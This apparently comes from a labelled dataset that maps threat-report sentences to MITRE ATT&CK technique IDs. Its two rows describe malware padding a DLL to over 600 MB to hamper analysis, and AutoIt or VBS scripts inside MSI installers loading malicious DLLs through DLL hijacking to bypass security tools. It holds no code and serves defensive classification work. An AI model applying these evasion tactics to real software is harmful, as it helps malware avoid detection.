The legitimate DLL that would be used in this case has the size of roughly 600 KB, but here we have an obfuscated library that is over 600 MB. The large size of the file is intended to hamper analysis and detection. Once all empty sections have been removed from the library, the final payload is a binary of 27.5 MB | ['T1027.001'] |
Generally, the malware uses AutoIt or VBS scripts added into MSI files, which run malicious DLLs using the DLL-Hijack technique, aiming to bypass security solutions | ['T1574.001'] |